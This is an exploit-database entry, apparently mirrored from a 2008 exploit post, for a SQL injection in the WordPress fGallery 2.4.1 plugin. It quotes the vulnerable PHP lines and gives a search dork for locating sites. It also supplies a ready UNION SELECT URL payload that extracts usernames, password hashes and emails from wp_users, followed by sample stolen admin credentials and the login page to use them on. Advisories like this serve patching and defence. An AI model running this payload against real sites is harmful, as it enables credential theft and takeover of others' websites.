Wordpress plugin fGallery 2.4.1 fimrss.php SQL Injection Vulnerability

🗓️ 28 Jan 2008 00:00:00Reported by RootType

Wordpress plugin fGallery 2.4.1 SQL Injection Vulnerability from fimrss.ph


                                                --------------------------------------------------------------
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;H-T&nbsp;Team&nbsp;[&nbsp;HouSSaMix&nbsp;+&nbsp;ToXiC350&nbsp;]&nbsp;from&nbsp;MoroCCo
--------------------------------------------------------------
#&nbsp;Author&nbsp;:&nbsp;Houssamix&nbsp;From&nbsp;H-T&nbsp;Team
#&nbsp;Script&nbsp;:&nbsp;Wordpress&nbsp;Plugin&nbsp;fGallery&nbsp;2.4.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
#&nbsp;Download&nbsp;:&nbsp;http://www.fahlstad.se/wp-plugins/fgallery/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
#&nbsp;BUG&nbsp;:&nbsp;&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Vulnerability&nbsp;&nbsp;
#&nbsp;Dork&nbsp;:&nbsp;inurl:/wp-content/plugins/fgallery/

##&nbsp;Vulnerable&nbsp;CODE&nbsp;:
~~~~~~~&nbsp;/wp-content/plugins/fgallery/fim_rss.php&nbsp;~~~~~~~~~~~~~

$cat&nbsp;=&nbsp;$wpdb-&gt;get_row(&quot;SELECT&nbsp;*&nbsp;FROM&nbsp;$cats&nbsp;WHERE&nbsp;id&nbsp;=&nbsp;$_GET[album]&quot;);
$images&nbsp;=&nbsp;$wpdb-&gt;get_results(&quot;SELECT&nbsp;*&nbsp;FROM&nbsp;$imgs&nbsp;WHERE&nbsp;cat&nbsp;=&nbsp;$_GET[album]&nbsp;AND&nbsp;status&nbsp;=&nbsp;'include'&quot;);
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

#&nbsp;Exploit&nbsp;:
[Target.il]/[wordpress_path]//wp-content/plugins/fgallery/fim_rss.php?album=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6,7%20from%20wp_users--

Exemple&nbsp;:
http://site.il/wordpress/wp-content/plugins/fgallery/fim_rss.php?album=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6,7%20from%20wp_users--

src='http://site.il/wordpress/wp-content/fgallery/thumb_admin:051e3db4c8eee42d7c93df48dffe4d5f:[email protected]'&nbsp;/&gt;&lt;br&gt;5&nbsp;&nbsp;[email protected]&nbsp;&nbsp;Thu,&nbsp;01&nbsp;Jan&nbsp;1970&nbsp;00:00:00&nbsp;+0100

Info&nbsp;=&gt;&nbsp;admin:051e3db4c8eee42d7c93df48dffe4d5f:[email protected]

admin&nbsp;login&nbsp;http://target.il/wordpress_path/wp/wp-login.php


#&nbsp;Gr33tz&nbsp;:&nbsp;V40&nbsp;(Stack-Terrorist)&nbsp;-&nbsp;Mahmood_ali&nbsp;-&nbsp;weliem&nbsp;&amp;&nbsp;all&nbsp;muslims&nbsp;hackers&nbsp;&nbsp;

------------------------||&nbsp;&nbsp;Viva&nbsp;Palestine&nbsp;||------------------------------
------------------------||&nbsp;&nbsp;FREE&nbsp;GaZZA&nbsp;||------------------------------

28 Jan 2008 00:00Current

7.1High risk

Vulners AI Score7.1